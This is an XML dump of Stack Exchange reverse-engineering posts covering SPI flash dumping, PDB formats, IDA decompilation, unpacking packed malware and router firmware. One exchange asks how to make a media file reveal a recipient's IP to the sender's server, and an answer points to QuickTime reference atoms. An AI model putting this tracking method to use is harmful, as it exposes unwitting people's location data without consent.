  <row Id="2547" PostTypeId="1" CreationDate="2013-07-27T18:35:14.977" Score="7" ViewCount="5361" Body="&lt;p&gt;I have a &lt;a href=&quot;http://www.spansion.com/Support/Datasheets/S25FL004K-016K_00.pdf&quot; rel=&quot;noreferrer&quot;&gt;SPANSION FL016KIF (pinout on p.12)&lt;/a&gt; on a board and I want to dump the data. I try to use the &lt;a href=&quot;http://dangerousprototypes.com/tag/bus-pirate-v3/&quot; rel=&quot;noreferrer&quot;&gt;BusPirate v3&lt;/a&gt; for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do this in-circuit. I didn't connect WP# and HOLD#.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukwzt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the command transcript I used to set it up (I also tried other variations):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiZ&amp;gt;m&#xA;1. HiZ&#xA;2. 1-WIRE&#xA;3. UART&#xA;4. I2C&#xA;5. SPI&#xA;6. 2WIRE&#xA;7. 3WIRE&#xA;8. LCD&#xA;9. DIO&#xA;x. exit(without change) &#xA;(1)&amp;gt;5&#xA;&#xA;Set speed:&#xA; 1. 30KHz&#xA; 2. 125KHz&#xA; 3. 250KHz&#xA; 4. 1MHz&#xA;&#xA;(1)&amp;gt;3&#xA;Clock polarity:&#xA; 1. Idle low *default&#xA; 2. Idle high&#xA;&#xA;(1)&amp;gt;1&#xA;Output clock edge:&#xA; 1. Idle to active&#xA; 2. Active to idle *default&#xA;&#xA;(2)&amp;gt;2&#xA;Input sample phase:&#xA; 1. Middle *default&#xA; 2. End&#xA;&#xA;(1)&amp;gt;1&#xA;CS:&#xA; 1. CS&#xA; 2. /CS *default&#xA;&#xA;(2)&amp;gt;2&#xA;Select output type:&#xA; 1. Open drain (H=Hi-Z, L=GND)&#xA; 2. Normal (H=3.3V, L=GND)&#xA;&#xA;(1)&amp;gt;2&#xA;Ready&#xA;SPI&amp;gt;W&#xA;Power supplies ON&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the instruction I try to execute, which should get some device information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SPI&amp;gt;[ 0x9f r:4]&#xA;/CS ENABLED&#xA;WRITE: 0x9F&#xA;READ: 0x00 0x00 0x00 0x00&#xA;/CS DISABLED&#xA;SPI&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I only get zeros &lt;code&gt;READ: 0x00 0x00 0x00 0x00&lt;/code&gt;. How can I figure out the correct settings for SPI? Are there other pitfalls?&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2021-10-29T07:32:32.790" Title="Dump Flash Memory with SPI from SPANSION FL016KIF" Tags="|hardware|spi|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2548" PostTypeId="1" AcceptedAnswerId="2558" CreationDate="2013-07-28T00:05:01.357" Score="7" ViewCount="5372" Body="&lt;p&gt;Where I can find such information? I've already read the undocumented windows 2000 secrets explanation of it but it isn't complete. For example the 3rd stream format isn't explained. I have looked at &lt;a href=&quot;https://code.google.com/p/pdbparser/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, where some general info about the streams is given but nothing more.&lt;/p&gt;&#xA;" OwnerUserId="1966" LastEditorUserId="245" LastEditDate="2013-07-31T16:55:46.970" LastActivityDate="2018-07-05T09:38:02.123" Title="PDB v2.0 File Format documentation" Tags="|file-format|pdb|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2549" PostTypeId="1" CreationDate="2013-07-28T05:54:33.623" Score="11" ViewCount="110145" Body="&lt;p&gt;Does anyone know about obtaining pseudocode for x86-64 in IDA Pro? I already tried the Hex-Rays plugin to obtain pseudocode, but when I try it, the following error pops up: &quot;only 32bit code is supported&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2535" LastEditorUserId="2147" LastEditDate="2016-11-12T17:20:16.153" LastActivityDate="2021-01-05T20:42:10.337" Title="How to obtain x86-64 pseudocode in IDA Pro?" Tags="|ida|x86|decompilation|disassemblers|x86-64|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2550" PostTypeId="2" ParentId="2549" CreationDate="2013-07-28T09:21:13.707" Score="8" Body="&lt;p&gt;As far as I know, IDA Hex-ray plugin supports only x86 and ARM decompiling (if you have a licence for ARM). It doesn't work on x86_64.&lt;/p&gt;&#xA;&lt;p&gt;However, if you need something that will work on x86_64 take a look at &lt;a href=&quot;https://github.com/EiNSTeiN-/ida-decompiler/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida-decompiler&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An IDA plugin that attempts to decompile a function. Written in Python. To try it in IDA, place your cursor on a function, and execute the plugin. The decompiled function will appear in the output window.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Obviously, it's not as advanced as Hex-Rays, but it's a good step toward a good, open decompiler.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-07-31T16:54:38.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2551" PostTypeId="2" ParentId="2547" CreationDate="2013-07-28T12:29:58.113" Score="4" Body="&lt;p&gt;Is the board powered? Obviously the chip needs power to be able to read out. The problem with doing this while it's still on the board is that other logic might be trying to access your chip at the same time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I can recommend is removing it from the board and powering the chip using your programmer (I don't know if the bus pirate is capable of doing this). I've read out a handful of chips via SPI in the past (Using a dataman programmer) and never had it working while still on the board. As a none electronics expert I expect there's some stuff on the board keeping certain pins of your chip at 0 or 1 while you want them to alternate. This might be due to some pull-up/pull-down resistors somewhere in the circuit or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing how this is an edge packaged chip it shouldn't be too hard to remove with basic soldering skills. Especially seeing how you're already capable of soldering the wires on it. If you've never removed some before then what I can say is; Heat up the pins on 1 edge and push some tweezers under the chip to lift up the chip on 1 side. Then repeat on the other side. These packages are quite flexible and it won't break your pins. Just don't exaggerate the lifting ;) &lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-07-28T12:29:58.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2552" PostTypeId="1" AcceptedAnswerId="2553" CreationDate="2013-07-28T17:27:08.943" Score="6" ViewCount="6306" Body="&lt;p&gt;As I am just getting started in RE, I've mostly faced files packed with a single-layer of packing , such as UPX, ASPack, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unpacking these protections is fully documented online. The problem begins when I deal with &lt;strong&gt;multiple layers of packing&lt;/strong&gt;, especially concerning malware. I have followed some tutorials though they're usually not detailed enough. They seem to go through a &lt;strong&gt;tedious process&lt;/strong&gt; to find the OEP. For example, they start by dealing with common packers (which is the easy part) and then they begin to set breakpoints everywhere &quot;&lt;strong&gt;in calls and jumps&lt;/strong&gt;&quot; and tracing through the file here and there, which is for me the &lt;strong&gt;hard part&lt;/strong&gt; that I have described above. At this point, I have no clue for what they are seeking or for what they are aiming, and then after some work, they find the OEP!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what logic did they follow in that process? Also, because I know that the subject is broad, I'm also interested in some keywords.&lt;/p&gt;&#xA;" OwnerUserId="2463" LastEditorUserId="1562" LastEditDate="2013-07-28T19:39:27.753" LastActivityDate="2014-01-08T15:19:11.903" Title="How to unpack files packed with multiple packers?" Tags="|malware|unpacking|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2553" PostTypeId="2" ParentId="2552" CreationDate="2013-07-28T18:23:13.167" Score="9" Body="&lt;p&gt;As you saw by yourself, RE is not a easy skill to accomplish. One must find as much patience (at least) as he could to acquire it, some intelligence and knowledge will also help. If you think that just following the tutorial you will understand all of it from the first read, then you are wrong.&lt;br&gt;&#xA;My advice to you is :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;read the tutorial several times and try to pass it without looking into the writings&lt;/li&gt;&#xA;&lt;li&gt;try to understand as much as you can about OS/platform you are reversing on&lt;/li&gt;&#xA;&lt;li&gt;be proficient with PE format for a start or the file format you are dealing with&lt;/li&gt;&#xA;&lt;li&gt;read about packers and obfuscation techniques&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After that, I'm pretty sure, if you come back to that tut again, you will understand it more clearly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some good resources:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.securitytube.net/video/747&quot;&gt;Malware Unpacking In Ollydbg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.ring-zer0.com/2013/07/tutorial-finding-oep-and-unpacking.html&quot;&gt;Finding OEP and unpacking Malware packed with ASPACK 2.12&lt;/a&gt; - try it although you said, you came across similar ones&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.woodmann.com/fravia/&quot;&gt;Fravia's archive pages of reverse engineering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://win32assembly.programminghorizon.com/pe-tut1.html&quot;&gt;Overview of PE file format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;May the force be with you :)&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-07-28T18:33:19.937" LastActivityDate="2013-07-28T18:33:19.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2554" PostTypeId="2" ParentId="2548" CreationDate="2013-07-28T18:31:52.023" Score="4" Body="&lt;p&gt;This is what I've found:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.mandiant.com/blog/exploring-symbol-type-information-pdbxtract/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exploring Symbol Type Information with PdbXtract&lt;/a&gt; - from Mendiat.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PdbXtract is not a pure PDB parser. It only extracts type information using Microsoft’s DebugInterface Access (DIA) COM.  If you are interested in just parsing/dumping raw PDB information, there are a few alternatives out there to DIA, including Volatility’s open source pdbparse (&lt;a href=&quot;http://code.google.com/p/pdbparse/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://code.google.com/p/pdbparse/&lt;/a&gt;) or the PDB utility that comes with the Undocumented Windows 2000 Secrets book.  However, most of the practical tools I have seen that operate on PDB’s use DIA, including Microsoft’s own Dia2dump, this one &lt;a href=&quot;http://www.codeproject.com/Articles/37456/How-To-Inspect-the-Content-of-a-Program-Database-P&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.codeproject.com/Articles/37456/How-To-Inspect-the-Content-of-a-Program-Database-P&lt;/a&gt; and this one &lt;a href=&quot;http://www.ishani.org/web/articles/obsolete/pdb-cracking-tool/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ishani.org/web/articles/obsolete/pdb-cracking-tool/&lt;/a&gt;, to name a few.  To reiterate, PdbXtract does not parse or capture the wealth of other information available in a PDB, including:  functions, debug streams, modules, publics, globals, files, section information, injected sources, source files, OEM specific types, compilands, and others.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/2040132/help-me-to-read-pdb-file&quot;&gt;Help me to read .pdb file&lt;/a&gt; - from stackoverflow&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="245" LastEditDate="2018-07-05T09:38:02.123" LastActivityDate="2018-07-05T09:38:02.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2555" PostTypeId="2" ParentId="2548" CreationDate="2013-07-28T19:24:48.537" Score="4" Body="&lt;p&gt;Since the format is internal to Microsoft you likely won't find any official documentation. The best bet is various reverse engineering efforts on the format:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/pdbparser/&quot; rel=&quot;nofollow&quot;&gt;PDB Parser&lt;/a&gt; (the one you found)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/pdbparse/&quot; rel=&quot;nofollow&quot;&gt;PDBparse&lt;/a&gt; (in Python)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.winehq.org/&quot; rel=&quot;nofollow&quot;&gt;Wine project&lt;/a&gt; has a partial implementation of &lt;a href=&quot;http://source.winehq.org/source/dlls/dbghelp/&quot; rel=&quot;nofollow&quot;&gt;dbghelp.dll&lt;/a&gt;, including PDB parsing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;P.S. I just remembered that there is an open-source Microsoft project called &lt;a href=&quot;http://ccimetadata.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;&quot;CCI Metadata&quot;&lt;/a&gt; which does provide some C# code for reading and writing PDB files. Not sure about the legality of using it to make your own PDB parser, but it does provide information which is probably as the close to official docs as you can get.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-07-28T19:24:48.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2556" PostTypeId="2" ParentId="2547" CreationDate="2013-07-28T19:40:30.887" Score="2" Body="&lt;p&gt;Flashrom project &lt;a href=&quot;http://flashrom.org/ISP&quot; rel=&quot;nofollow&quot;&gt;has some advice on ISP&lt;/a&gt; (In-System Programming) of SPI chips. For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Often parts of the chipset are&#xA;  powered on partially (by the voltage supplied via the Vcc pin of the&#xA;  flash chip). In that case disconnect Vcc from the programmer and power&#xA;  it with its normal PSU and try powering up the board normally and&#xA;  holding it in reset (e.g. use a jumper instead of the reset push&#xA;  button).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try the tips given on that page.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-07-28T19:40:30.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2557" PostTypeId="1" AcceptedAnswerId="2559" CreationDate="2013-07-29T16:48:39.017" Score="8" ViewCount="3042" Body="&lt;p&gt;I'm trying to unpack this firmware image but I'm getting some issues understanding the structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all I have one image which I called firmware.bin, and the file command shows me that it's a LIF file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;firmware.bin: lif file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that I analyze it with binwalk:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;84992       0x14C00     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 65616, compressed size: 16606, uncompressed checksum: 0xBA2A, compressed checksum: 0x913E, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;85043       0x14C33     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 65616 bytes&#xA;128002      0x1F402     GIF image data, version 8&quot;9a&quot;, 200 x 50&#xA;136194      0x21402     GIF image data, version 8&quot;7a&quot;, 153 x 55&#xA;349184      0x55400     ZynOS header, header size: 48 bytes, rom image type: ROMBIN, uncompressed size: 3113824, compressed size: 733298, uncompressed checksum: 0x3B9C, compressed checksum: 0xBBBA, flags: 0xE0, uncompressed checksum is valid, the binary is compressed, compressed checksum is valid, memory map table address: 0x0&#xA;349235      0x55433     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3113824 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see there are 2 LZMA, 2 ZynOS (LZMA also once cut) and 2 images. Once I extract the LZMA I uncompress it and the first one is a single binary, but the second one is another LZMA file with 127 files in it, and each one of those files have a lot of new files inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l7AbK.png&quot; alt=&quot;File content sample&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that I'm not following the correct steps to unpack it, so I'm wondering how could I get the main filesystem clean?.&lt;/p&gt;&#xA;" OwnerUserId="2197" LastEditorUserId="4212" LastEditDate="2014-06-04T09:10:10.760" LastActivityDate="2014-06-04T09:10:10.760" Title="Unpack Billion 5102 firmware" Tags="|firmware|unpacking|mips|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2558" PostTypeId="2" ParentId="2548" CreationDate="2013-07-29T17:15:02.003" Score="7" Body="&lt;p&gt;You can find some information about PDB on the blog of PDBParse's &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/257/brendan-dolan-gavitt&quot;&gt;author&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://moyix.blogspot.fr/2007/08/pdb-stream-decomposition.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://moyix.blogspot.fr/2007/08/pdb-stream-decomposition.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://moyix.blogspot.fr/2007/10/types-stream.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://moyix.blogspot.fr/2007/10/types-stream.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This article is a good resource about PDB :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.debuginfo.com/articles/debuginfomatch.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.debuginfo.com/articles/debuginfomatch.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other link on the subject :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.informit.com/articles/article.aspx?p=22685&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.informit.com/articles/article.aspx?p=22685&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.informit.com/articles/article.aspx?p=22429&amp;amp;seqNum=5&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.informit.com/articles/article.aspx?p=22429&amp;amp;seqNum=5&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wintellect.com/blogs/jrobbins/pdb-files-what-every-developer-must-know&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.wintellect.com/blogs/jrobbins/pdb-files-what-every-developer-must-know&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope you will find your happiness in these links ;)&lt;/p&gt;&#xA;" OwnerUserId="1309" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-07-29T17:15:02.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2559" PostTypeId="2" ParentId="2557" CreationDate="2013-07-29T19:51:33.750" Score="8" Body="&lt;p&gt;The output from the file utility, as you've probably guessed, is a false positive. The beginning of the firmware.bin file contains what looks to be a basic header (note the &quot;SIG&quot; string near the beginning of the file), and a bunch of MIPS executable code, which is likely the bootloader:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL         HEX             DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------------------&#xA;196             0xC4            MIPS instructions, function epilogue&#xA;284             0x11C           MIPS instructions, function epilogue&#xA;372             0x174           MIPS instructions, function epilogue&#xA;388             0x184           MIPS instructions, function epilogue&#xA;416             0x1A0           MIPS instructions, function epilogue&#xA;424             0x1A8           MIPS instructions, function prologue&#xA;592             0x250           MIPS instructions, function epilogue&#xA;712             0x2C8           MIPS instructions, function epilogue&#xA;720             0x2D0           MIPS instructions, function prologue&#xA;832             0x340           MIPS instructions, function epilogue&#xA;840             0x348           MIPS instructions, function prologue&#xA;912             0x390           MIPS instructions, function epilogue&#xA;920             0x398           MIPS instructions, function prologue&#xA;976             0x3D0           MIPS instructions, function epilogue&#xA;984             0x3D8           MIPS instructions, function epilogue&#xA;1084            0x43C           MIPS instructions, function epilogue&#xA;1192            0x4A8           MIPS instructions, function epilogue&#xA;1264            0x4F0           MIPS instructions, function epilogue&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running strings on the firmware.bin binary seems backup this hypothesis, with many references to checksum and decompression errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checksum error! (cal=%04X, should=%04X)&#xA;     signature error!&#xA;     (Compressed)&#xA;start: %p&#xA;     unmatched objtype between memMapTab and image!&#xA;     Length: %X, Checksum: %04X&#xA;     Version: %s, &#xA;     Compressed Length: %X, Checksum: %04X&#xA;memMapTab Checksum Error! (cal=%04X, should=%04X)&#xA;memMapTab Checksum Error!&#xA;%3d: %s(%s), start=%p, len=%X&#xA;%s Section:&#xA;memMapTab: %d entries, start = %p, checksum = %04X&#xA;$USER Section:&#xA;signature error!&#xA;ROMIO image start at %p&#xA;code length: %X&#xA;code version: %s&#xA;code start: %p&#xA;Decompressed image Error!&#xA;Decompressed image Checksum Error! (cal=%04X, should=%04X)&#xA;ROM length(%X) &amp;gt; RAM length (%X)!&#xA;Can't find %s in $ROM section.&#xA;Can't find %s in $RAM section.&#xA;RasCode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A quick examination of the strings in the two decompressed LZMA files you found shows that the smaller one (at offset 0x14C33) appears to contain some debug interface code, likely designed to be accessed via the device's UART:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                        UART INTERNAL  LOOPBACK TEST&#xA;                        UART EXTERNAL  LOOPBACK TEST&#xA;ERROR&#xA;======= HTP Command Listing =======&#xA;&amp;lt; press any key to continue &amp;gt;&#xA; macPHYCtrl.value=&#xA;                        MAC INTERNAL LOOPBACK TEST &#xA;                        MAC EXTERNAL LOOPBACK TEST &#xA;                        MAC INTERNAL LOOPBACK &#xA;                        MAC EXTERNAL LOOPBACK &#xA; LanIntLoopBack ...&#xA;Tx Path Full, Drop packet:%d&#xA;0x%08x&#xA;tx descrip %d:&#xA;rx descrip %d:&#xA;%02X &#xA;%08X: &#xA;&amp;lt; Press any key to Continue, ESC to Quit &amp;gt;&#xA;0123456789abcdefghijklmnopqrstuvwxyz&#xA;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&#xA;&amp;lt;NULL&amp;gt;&#xA;) Register Dump *****&#xA;***** ATM SAR Module: VC(&#xA;Reset&amp;amp;Identify reg   = &#xA;Traffic Sched. TB reg= &#xA;TX Data ctrl/stat reg= &#xA;RX Data ctrl/stat reg= &#xA;Last IRQ Status reg  = &#xA;IRQ Queue Entry len  = &#xA;VC IRQ Mask register = &#xA;TX Data Current descr= &#xA;RX Data Current descr= &#xA;TX Traffic PCR       = &#xA;TX Traffic MBS/Type  = &#xA;TX Total Data Count  = &#xA;VC IRQ CC Mask reg   = &#xA;TX CC Current descr  = &#xA;TX CC Total Count    = &#xA;RX Miss Cell Count   = &#xA;***** ATM SAR Module: Common Register Dump *****&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second larger file (at offset 0x55433) appears to contain the ThreadX RTOS, by Green Hills:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RTA231CV Reserved String&#xA;anonymous&#xA;www.huawei.com&#xA;1000&#xA;tc-e4f6ed2f5b87&amp;lt;&#xA;MSFT 5.07&#xA;user&amp;lt;&#xA;MSFT 5.07&#xA;LXT972&#xA;&quot;AC101L&#xA;CIP101&#xA;RTL8201&#xA;CAC201&#xA;jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj&#xA;jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj&#xA;jjjjjjjj&#xA;jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj&#xA;jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj&#xA;jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj&#xA;jjjjjjjj&#xA;jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj&#xA;System Timer Thread&#xA;Copyright (c) 1996-2000 Express Logic Inc. * ThreadX R3900/Green Hills Version G3.0f.3.0b *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you aren't familiar with RTOS's, they typically are just one big kernel with no concept of user space vs kernel space or what you would think of as a normal file system, although they will contain things like images and HTML files for this device's Web interface (see &lt;a href=&quot;http://www.devttys0.com/2011/06/mystery-file-system/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for an example of how these types of files are stored/accessed in some VxWorks systems). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say that you already pretty much have this firmware extracted into its basic parts. To further analyze the bootloader or the two extracted LZMA files, you will need to start disassembling those files, which entails determining the memory address where they are loaded at boot time, identifying code/data sections, looking for possible symbol tables, identifying common functions, and probably writing some scripts to help with all of the above.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="1408" LastEditDate="2013-07-31T15:45:01.420" LastActivityDate="2013-07-31T15:45:01.420" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2560" PostTypeId="1" CreationDate="2013-07-30T18:37:08.773" Score="3" ViewCount="514" Body="&lt;p&gt;I have a jar file with a resources folder, and I have converted it to EXE using &lt;code&gt;Launch4J&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I protect my resources from being extracted using &lt;code&gt;winzip&lt;/code&gt;/&lt;code&gt;winrar&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="2545" LastEditorUserId="53" LastEditDate="2013-08-05T08:38:40.937" LastActivityDate="2021-10-29T07:33:22.240" Title="Secure resources from being extracted?" Tags="|executable|java|pe-resources|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2561" PostTypeId="1" CreationDate="2013-07-30T19:21:58.967" Score="6" ViewCount="287" Body="&lt;p&gt;Is there a way to embed a URL call in the raw data of an image or movie file, such that when the image or movie is opened, it makes a call to a webserver? I want to be able to obtain someone's external IP by sending an image to them, and then having the image make a call back to a webserver I control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wonder if some PHP script could be embedded into the image file.&lt;/p&gt;&#xA;" OwnerUserId="2547" LastEditorUserId="245" LastEditDate="2013-08-04T14:09:40.727" LastActivityDate="2013-08-04T14:09:40.727" Title="Embedding URL call into an image / movie" Tags="|file-format|embedded|exploit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2562" PostTypeId="2" ParentId="2561" CreationDate="2013-07-30T21:10:23.573" Score="5" Body="&lt;p&gt;What you ask for would be very near remote code execution, which is usually a security no-no. &#xA;Tho there are some formats that allow similar things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as i remember MOV file format allows you to embed urls or aliases in it for alternative versions of the movie. I think it's usually used for streaming purposes, so that a player can request a higher or lower quality movie and similar things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know many details about this, but you can check out MOV file format. The atom that contains urls is DREF. Apple should have more info. Check out &lt;a href=&quot;https://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/&quot;&gt;QuickTime File Format&lt;/a&gt; specifications for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example , &lt;a href=&quot;http://samples.mplayerhq.hu/mov/reference-files/you_are_free_ref.mov&quot;&gt;here's&lt;/a&gt; the sample file (from &lt;a href=&quot;http://samples.mplayerhq.hu&quot;&gt;mplayer samples database&lt;/a&gt;, which has proven to be a very valuable resource for all sorts of media files)  that actually contains only the reference to another file, hosted at &lt;a href=&quot;http://stream.qtv.apple.com/events/jan/cat_power/cat_power_ref_28.mov&quot;&gt;http://stream.qtv.apple.com/events/jan/cat_power/cat_power_ref_28.mov&lt;/a&gt;. The server will definitely be able to determine the client's IP address this way. &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2013-07-30T21:19:02.237" LastActivityDate="2013-07-30T21:19:02.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
